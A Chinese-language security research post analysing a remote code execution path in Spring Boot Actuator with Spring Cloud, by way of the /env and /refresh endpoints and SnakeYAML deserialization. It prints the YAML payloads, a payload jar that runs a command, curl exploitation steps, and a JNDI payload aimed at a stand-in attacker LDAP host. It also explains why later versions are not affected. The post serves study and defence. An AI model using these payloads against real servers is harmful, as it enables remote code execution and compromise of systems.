热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ExploitSpringBootActuator之SpringCloudEnv学习笔记

 作者:b1ngz@小米安全0x01. TL;DR今年二月份,Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.ver

 

作者:b1ngz@小米安全

0x01. TL;DR

今年二月份,Michael Stepankin 大佬写了一篇关于 Spring Boot Actuator 的利用文章 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators,文中介绍了多种利用思路和方式,接着作者在五月份的时候更新了文章,增加了在使用 Spring Cloud 相关组件时,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的方法,因为网上没有找到该方法的分析文章,自己 debug 并记录了一下过程,主要内容包括


  • 通过修改环境变量实现 RCE 的原理和过程分析

  • SnakeYAML 反序列化介绍和利用

  • 高版本 Spring Boot Actuator 利用测试和失败原因分析

  • 自己的一些思考

本文中涉及到的代码和漏洞环境参考 https://github.com/b1ngz/spring-boot-actuator-cloud-vul

 

0x02. RCE 分析

首先简单总结一下利用过程


  1. 利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://127.0.0.1:63712/yaml-payload.yml

  2. 请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子

@Test
public void testYaml() {
Yaml yaml = new Yaml();
Object url = yaml.load("!!java.net.URL ["http://127.0.0.1:63712/yaml-payload.jar"]");
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
}

SnakeYAML 支持 !! + 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...] 的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL 类的实例

再来看一下文章给出的外部 yml 文件 yaml-payload.yml 的内容

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]

SnakeYAML 处理上述内容的过程可以等价于以下 java 代码

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar 地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory 接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码

大致过程明白了,我们来 debug 一下

作者给出的 yaml-payload.jar 代码见 https://github.com/artsploit/yaml-payload,关键代码为 AwesomeScriptEngineFactory.java 类,构造函数中使用 Runtime 来执行系统命令

package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
...
}

我们在 Runtime.exec() 方法下断点,调用栈如下

方法调用顺序

javax.script.ScriptEngineManager
javax.script.ScriptEngineManager.init()
javax.script.ScriptEngineManager.initEngines()
java.util.ServiceLoader.LazyIterator.nextService()
artsploit.AwesomeScriptEngineFactory
Runtime.getRuntime().exec()

ScriptEngineManager 类的 initEngines 方法中使用了 Java SPI 机制来动态加载接口 ScriptEngineFactory 的实现类

这也是为什么 jar 包中 AwesomeScriptEngineFactory 类需要实现 ScriptEngineFactory 接口、并且 META-INF/services 目录下需要有一个文件名为 javax.script.ScriptEngineFactory,值为实现类完整包名的原因,即需要符合 Java SPI 实现规范

ServiceLoader 加载实现类的过程中,会调用无参数构造方法来创建实例,触发命令执行

对应代码在 ServiceLoader.LazyIterator 类的 nextService()

分析完 YAML 反序列化后,我们来看一下在 Spring Boot Actuator 中时的执行流程,漏洞环境和代码见 master 分支

以 debug 模式运行漏洞环境,同样在 Runtime.exec() 方法下断点

首先修改 spring.cloud.bootstrap.location

curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"

访问 http://127.0.0.1:61234/env,可以看到在 manager 下多了我们设置的值

然后请求 /refresh 接口触发

curl -XPOST http://127.0.0.1:61234/refresh

调用栈比较长,我们来看几个关键的地方,即处理 /refresh 接口请求的类

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值,即之前设置的外部 yml 文件 url

接着会到 org.springframework.boot.env.PropertySourcesLoader.load() 方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件

根据右侧代码,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置

最终由 YamlProcessor.process() 方法中调用 Yaml.loadAll() 解析 yml 文件内容 ,之后的流程就和前面 SnakeYAML 反序列化过程类似,最终触发命令执行

 

0x03. 高版本测试

作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本,而在实际的测试过程中,遇到很多情况是 Spring Boot 2.x 版本。 在 2.x 版本中,actuator 默认的 endpoint 前缀是 /actuator,并且修改环境变量的 env 接口的 post body 也变成了 json 格式,步骤为

修改环境变量

curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'

访问 http://127.0.0.1:61234/actuator/env,可以看到 propertySources 下多了刚才设置的值

接着 refresh 触发

curl -XPOST http://127.0.0.1:61234/actuator/refresh

执行完后,你会发现计算器并没有弹出,此时,黑人问号???只能再次 debug 找下原因

经过一番研究,发现是因为 spring.cloud.bootstrap.location 属性的值没有生效的缘故

来回忆一下之前提到的第二个关键点

BootstrapApplicationListener.bootstrapServiceContext() ,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值,即之前设置的外部 yml 文件 url

可以看到,configLocation 的值为空,即无法从 environment 解析到 ${spring.cloud.bootstrap.location} 的值

通过对调用方法和变量的分析,发现是因为 environment 变量中的 propertySourceList 属性发生了变化

先来看一下 1.x 版本的,可以看到是包含名为 manager 的 PropertySource

再来看一下 2.x 版本的,会发现没有了

而 PropertySources 的加载代码在 org.springframework.cloud.context.refresh.ContextRefreshercopyEnvironment() 方法中

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input)

相同的,我们先来看一下 1.x 的逻辑

private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment envirOnment= new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 清空
for (PropertySource source : capturedPropertySources) {
capturedPropertySources.remove(source.getName());
}
// 见下图
for (PropertySource source : input.getPropertySources()) {
capturedPropertySources.addLast(source);
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map map = new HashMap();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}

input.getPropertySources() 的值

以下是 2.x 的逻辑

private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
// order matters, if cli args aren't first, things get messy
// commandLineArgs
CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
"defaultProperties" };
private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) {
StandardEnvironment envirOnment= new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 以下代码发生了变化
// Only copy the default property source(s) and the profiles over from the main
// environment (everything else should be pristine, just like it was on startup).
for (String name : DEFAULT_PROPERTY_SOURCES) {
if (input.getPropertySources().contains(name)) {
// 替换
if (capturedPropertySources.contains(name)) {
capturedPropertySources.replace(name,
input.getPropertySources().get(name));
}
else { // 添加
capturedPropertySources.addLast(input.getPropertySources().get(name));
}
}
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map map = new HashMap();
map.put("spring.jmx.enabled", false);
map.put("spring.main.sources", "");
capturedPropertySources
.addFirst(new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}

根据代码可以知道,只有 name 在 DEFAULT_PROPERTY_SOURCES 中的 PropertySource 才会被处理,其值为 String 数组,仅包含


  • commandLineArgs

  • defaultProperties

而我们添加的是属性值是在 name 为 managerPropertySource ,因此不会被添加到 environment 的 propertySources (capturedPropertySources) 中,最终导致无法 resolve

到此,可以确定通过修改 spring.cloud.bootstrap.location 属性实现 RCE 的方法在高版本下无法成功

为了找到可利用的版本范围,看了下 git 的提交记录,发现该修改是在 spring-cloud-commons 1.3.0.RELEASE 合并的,因此只有依赖小于 1.3.0.RELEASE 才受影响

并且 Spring Cloud 相关 jar 包的依赖版本取决于 spring-cloud-dependencies 的版本,通过 pom.xml 可以知道, spring-cloud-dependencies 的 Dalston.RELEASE 版本依赖的还是 1.2.0 的 spring-cloud-commons ,而之后的版本则依赖 >= 1.3.0,根据文档 https://spring.io/projects/spring-cloud 中 Spring Cloud 对 Spring Boot 的版本适配说明

我们可以知道


  • Spring Boot 2.x 无法利用成功

  • Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功

  • Spring Boot <= 1.4 可利用成功

 

0x04. 思考



How to find?

作者是如何找到这个利用方式的?这个一直是看完这种大佬文章后第一个想知道答案的问题,也是最难的问题,这里尝试找到一些思路和线索

首先,在不使用 Spring Cloud 组件时,Spring Boot Actuator 的 /env endpoint 默认情况下只能读取环境变量的值,因此第一问题就是,如何得知有可以修改环境变量的功能?

这里就需要对 Spring 生态,如 Spring Boot, Spring Cloud 等,有一定的了解和使用经验,否则会无从下手。通过搜索 Spring Cloud 的文档,找到了相关说明 https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints



  • POST to /env to update the Environment and rebind @ConfigurationProperties and log levels


  • /refresh for re-loading the boot strap context and refreshing the @RefreshScope beans


从文档中,我们也知道了请求 /refresh 可以触发 bootstrap context reload,并加载修改后的环境变量

那么接下来的问题就是找到哪些环境变量是可以修改的,并且在 reload 之后会执行某些敏感的操作。根据文章中的说明,能修改的环境变量非常的多,需要一一尝试。

这里正向思考没有什么思路,转从逆向,尝试从 spring.cloud.bootstrap.location 入手,根据 Spring 文档中的说明 customizing-bootstrap-properties

The bootstrap.yml (or .properties) location can be specified by setting spring.cloud.bootstrap.name (default: bootstrap) or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.

可以得知这个变量是用于指定 bootstrap 配置文件的位置,支持的文件格式包括 ymlproperties ,对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在反序列化的问题,如果这里配置文件的内容我们能够控制,就存在可以被利用的可能。

再下一步,就是结合 Spring Cloud 源码和动手 debug,确定 spring.cloud.bootstrap.location 环境变量的处理和配置文件的解析过程。根据前面的分析,我们知道代码中会下载指定的 yml 文件,并且使用 SnakeYAML 库进行解析,因此存在反序列化漏洞。

当然,实际的过程会比刚才描述的要复杂很多,需要投入很多的时间和精力阅读文档、调试代码。


SnakeYAML Payload

根据 https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf 中的介绍,除了 javax.script.ScriptEngineManager 类外,我们还可以使用 com.sun.rowset.JdbcRowSetImpl 类,通过 JNDI 注入来完成利用,payload 如下

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true

相比 ScriptEngineManager,JNDI 注入在高版本 JDK 利用会有一些限制,不过因为 Spring Boot 默认使用 Tomcat 容器,仍可以成功利用,详细可参考 Michael Stepankin 大佬的另一篇文章 Exploiting JNDI Injections in Java


Changes In YamlPropertySourceLoader

在寻找高版本 Spring Boot Actuator 失败原因的过程中,也发现了即使 spring.cloud.bootstrap.location 能够成功 resolve,也仍然无法成功,原因在与 Spring boot 中解析 yml 的类 org.springframework.boot.env.YamlPropertySourceLoader 逻辑也发生了变化,测试代码如下

@Test
public void test() throws Exception {
new YamlPropertySourceLoader().load("name", new ClassPathResource("payload/yaml-payload.yml"));
}

执行后会报如下错误

错误信息很明显,实例化 java.net.URL 时,构造方法的参数类型不正确,debug 后发现,高版本的 Spring Boot 将解析后的值存放在了 org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence 类中,而不是 java.lang.String,导致在反射创建实例时失败

 

0x05. 总结

文章简单分析了在同时使用 Spring Boot Actuator 和 Spring Cloud 时,利用修改 spring.cloud.bootstrap.location 环境变量实现 RCE 的原理和步骤,虽然在高版本中无法利用成功,但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多,或许会有更多的利用方法,感兴趣的师父可以尝试研究一下。

最后,因个人水平有限,文章中可能会有描述不准确或者错误的地方,欢迎大家指出和交流

 

0x06. 参考



  • Exploiting Spring Boot Actuators

  • Java-Deserialization-Cheat-Sheet – SnakeYAML (YAML)

  • Java Unmarshaller Security

  • SnakeYAML Documentation

  • Spring Cloud

  • Spring Cloud Context: Application Context Services

  • Spring Boot Actuator + Spring Cloud Vul Env



推荐阅读
  • 优雅地记录API调用时长
    本文旨在探讨如何高效且优雅地记录API接口的调用时长,通过实际案例和代码示例,帮助开发者理解并实施这一技术,提高系统的可观测性和调试效率。 ... [详细]
  • 构建Python自助式数据查询系统
    在现代数据密集型环境中,业务团队频繁需要从数据库中提取特定信息。为了提高效率并减少IT部门的工作负担,本文探讨了一种利用Python语言实现的自助数据查询工具的设计与实现。 ... [详细]
  • 深入解析 RuntimeClass 及多容器运行时应用
    本文旨在探讨RuntimeClass的起源、功能及其在多容器运行时环境中的实际应用。通过详细的案例分析,帮助读者理解如何在Kubernetes集群中高效管理不同类型的容器运行时。 ... [详细]
  • 为什么会崩溃? ... [详细]
  • 本文详细介绍了Objective-C中的面向对象编程概念,重点探讨了类的定义、方法的实现、对象的创建与销毁等内容,旨在帮助开发者更好地理解和应用Objective-C的面向对象特性。 ... [详细]
  • 华为云openEuler环境下的Web应用部署实践
    本文详细记录了在华为云openEuler系统上进行Web应用部署的具体步骤,包括配置yum源、安装Apache、MariaDB、PHP及其相关组件,并完成WordPress的安装与配置过程。 ... [详细]
  • 本文详细介绍了如何处理Oracle数据库中的ORA-00227错误,即控制文件中检测到损坏块的问题,并提供了具体的解决方案。 ... [详细]
  • 深入解析Nacos服务自动注册机制
    本文将探讨Nacos服务自动注册的具体实现方法,特别是如何通过Spring事件机制完成服务注册。通过对Nacos源码的详细分析,帮助读者理解其背后的原理。 ... [详细]
  • Docker安全策略与管理
    本文探讨了Docker的安全挑战、核心安全特性及其管理策略,旨在帮助读者深入理解Docker安全机制,并提供实用的安全管理建议。 ... [详细]
  • 详解MyBatis二级缓存的启用与配置
    本文深入探讨了MyBatis二级缓存的启用方法及其配置细节,通过具体的代码实例进行说明,有助于开发者更好地理解和应用这一特性,提升应用程序的性能。 ... [详细]
  • 本文详细介绍了如何在本地环境中安装配置Frida及其服务器组件,以及如何通过Frida进行基本的应用程序动态分析,包括获取应用版本和加载的类信息。 ... [详细]
  • Kubernetes 实践指南:初次体验
    本文介绍了如何通过官方提供的简易示例,快速上手 Kubernetes (K8S),并深入理解其核心概念和操作流程。 ... [详细]
  • 吴石访谈:腾讯安全科恩实验室如何引领物联网安全研究
    腾讯安全科恩实验室曾两次成功破解特斯拉自动驾驶系统,并远程控制汽车,展示了其在汽车安全领域的强大实力。近日,该实验室负责人吴石接受了InfoQ的专访,详细介绍了团队未来的重点方向——物联网安全。 ... [详细]
  • 新浪微博热搜暂停更新;即刻APP回归;Android 11 Beta版发布 | 科技新闻速递
    为您带来最新的科技资讯,涵盖社交媒体动态、软件更新及行业重大事件。CSDN携手您共同关注科技前沿。 ... [详细]
  • 本文详细探讨了BCTF竞赛中窃密木马题目的解题策略,重点分析了该题目在漏洞挖掘与利用方面的技巧。 ... [详细]
author-avatar
mobiledu2502875267
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有